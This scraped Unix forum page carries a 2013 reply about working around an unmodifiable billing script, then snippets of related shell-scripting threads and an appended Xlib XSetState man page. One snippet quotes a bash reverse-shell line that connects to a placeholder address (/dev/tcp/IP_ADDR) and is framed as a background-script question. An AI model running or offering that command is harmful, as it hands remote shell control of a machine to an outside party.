Sponsored Content
Top Forums Shell Programming and Scripting Shell scripting issue-running the background script Post 302823151 by rafa_fed2 on Wednesday 19th of June 2013 02:01:27 AM
Old 06-19-2013
Quote:
Originally Posted by MadeInGermany
Improve the bip.sh!
Remove & signs, so commands run in foreground.
In case the delays are caused by /dev/random, consider replacing it with /dev/urandom (faster but randomness is lower).
Hi german boy,
Can't change the bip.sh.It is a very critical script which generate the bill.client would not allow me to change it .
So i am looking for workaround.
Thanks.
 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Facing issue in Solaris OS in crontab for running shell script

Hello i have a shell script. it is running fine when i manually run at command prompt using following command ./script_file but while running shell script from crontab, it is giving error in each line. (2 Replies)
Discussion started by: mabrar
2 Replies

2. Shell Programming and Scripting

Background Process Shell Scripting

I have a following program: echofunc() { filename=$1 echo "reading $filename" while read line do echo $line; sleep 6; done < $filename } split -5 new.dat ls x* > input.dat while read file do echofun $file & done < input.dat (3 Replies)
Discussion started by: dhieraj
3 Replies

3. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

4. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

5. Shell Programming and Scripting

Running Shell Script in the cron, background process

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies

6. Shell Programming and Scripting

Issue in running shell script in crontab

I'm having a shell script which has to be run only once at the specified time. Shell script is like following, #!/bin/bash db2 connect to XXX > connection_status.txt This script is scheduled in crontab as following, 50 4 8 5 0 sh script.sh scheduled script is run at the specified time... (1 Reply)
Discussion started by: Rajkumar Gandhi
1 Replies

7. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

8. Shell Programming and Scripting

Issue with running commands from shell script

I'm trying to copy files from a remote windows server to Unix server. I was successfully able to copy files from windows server using command prompt but when I run these commands from a script it's not working as expected. commands used: sftp user@remoteserver.com lcd local_dir cd... (3 Replies)
Discussion started by: naresh7590
3 Replies

9. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies

10. UNIX for Advanced & Expert Users

Issue with tracking successful completion of Child process running in background

Hello All, I am using Linux. I have two scripts: inner_script.ksh main_wrapper_calling_inner.ksh Below is the code snippet of the main_wrapper_calling_inner.ksh: #!/bin/ksh ppids=() ---> Main array for process ids. fppids=() ---> array to capture failed process ids. pcnt=0 --->... (5 Replies)
Discussion started by: dmukherjee
5 Replies
XSetState(3X11) 						  XLIB FUNCTIONS						   XSetState(3X11)

NAME
XSetState, XSetFunction, XSetPlaneMask, XSetForeground, XSetBackground - GC convenience routines SYNTAX
XSetState(display, gc, foreground, background, function, plane_mask) Display *display; GC gc; unsigned long foreground, background; int function; unsigned long plane_mask; XSetFunction(display, gc, function) Display *display; GC gc; int function; XSetPlaneMask(display, gc, plane_mask) Display *display; GC gc; unsigned long plane_mask; XSetForeground(display, gc, foreground) Display *display; GC gc; unsigned long foreground; XSetBackground(display, gc, background) Display *display; GC gc; unsigned long background; ARGUMENTS
background Specifies the background you want to set for the specified GC. display Specifies the connection to the X server. foreground Specifies the foreground you want to set for the specified GC. function Specifies the function you want to set for the specified GC. gc Specifies the GC. plane_mask Specifies the plane mask. DESCRIPTION
The XSetState function sets the foreground, background, plane mask, and function components for the specified GC. XSetState can generate BadAlloc, BadGC, and BadValue errors. XSetFunction sets a specified value in the specified GC. XSetFunction can generate BadAlloc, BadGC, and BadValue errors. The XSetPlaneMask function sets the plane mask in the specified GC. XSetPlaneMask can generate BadAlloc and BadGC errors. The XSetForeground function sets the foreground in the specified GC. XSetForeground can generate BadAlloc and BadGC errors. The XSetBackground function sets the background in the specified GC. XSetBackground can generate BadAlloc and BadGC errors. DIAGNOSTICS
BadAlloc The server failed to allocate the requested resource or server memory. BadGC A value for a GContext argument does not name a defined GContext. BadValue Some numeric value falls outside the range of values accepted by the request. Unless a specific range is specified for an argu- ment, the full range defined by the argument's type is accepted. Any argument defined as a set of alternatives can generate this error. SEE ALSO
XCreateGC(3X11), XQueryBestSize(3X11), XSetArcMode(3X11), XSetClipOrigin(3X11), XSetFillStyle(3X11), XSetFont(3X11), XSetLineAt- tributes(3X11), XSetTile(3X11) Xlib - C Language X Interface X Version 11 Release 6.6 XSetState(3X11)
All times are GMT -4. The time now is 04:14 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy